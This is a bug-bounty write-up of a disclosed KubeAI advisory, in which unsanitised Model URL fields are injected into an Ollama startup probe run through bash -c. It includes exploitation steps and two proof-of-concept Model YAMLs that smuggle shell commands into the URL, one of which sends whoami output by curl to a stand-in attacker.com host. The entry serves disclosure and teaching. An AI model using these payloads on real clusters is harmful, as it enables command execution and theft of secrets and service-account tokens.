# KubeAI: OS Command Injection via Model URL in Ollama Engine startup probe allows arbitrary command execution in model pods

KubeAI builds Ollama startup probe shell commands from unsanitized Model URL ref/model params, letting Model CRD writers inject commands executed in model pods.

- Payout: Research
- Severity: high
- Program: KubeAI
- Found by: romain-deperne
- Disclosed: 2026-04-01
- CVE: CVE-2026-34940
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-324q-cwx9-7crr
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-324q-cwx9-7crr
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:command-injection vuln:rce

**Target:** Kubernetes Model CRD URL field / Ollama engine startup probe
**Root cause:** ollamaStartupProbeScript() interpolates the regex-parsed URL ref ([^?]+ allows shell metacharacters) and unsanitized ?model= param into a string run via bash -c, with no CRD validation.
**Steps:**
1. Create a Model CR with engine OLlama and url `ollama://registry.example.com/model;id>/tmp/pwned;echo`
2. Controller renders startup probe script containing the injected `id>/tmp/pwned`
3. Probe runs `bash -c` in the model pod, executing the injected command
4. Alternatively use `pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo` to inject via modelParam
**How found:** Code review of engine_ollama.go: noticed fmt.Sprintf building a shell string, then traced parseModelURL regex `[^?]+` permitting shell metacharacters, and contrasted with vLLM engine passing args directly without a shell.
**Exploitation:** Any principal with Model CRD create/update RBAC submits a crafted URL; the controller generates a bash -c startup probe embedding the payload, which executes in the model pod, enabling secret/service-account-token theft and lateral movement.
**Escalation:** Tenant with only Model creation rights (not cluster-admin) gains command execution in model pods, reaching mounted secrets and SA tokens for lateral movement.
**Insight:** When a controller builds probe/entrypoint commands, diff engines against each other: a sibling engine passing args as an array is a tell that the shell-string one is injectable; also check the URL regex character class for metacharacter permissiveness.

## Proof of concept (copied exactly from the original report)

**Model YAML injecting command via ollama URL ref**

```
apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
```

**Model YAML injecting command via ?model= param**

```
apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject-pvc
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
```

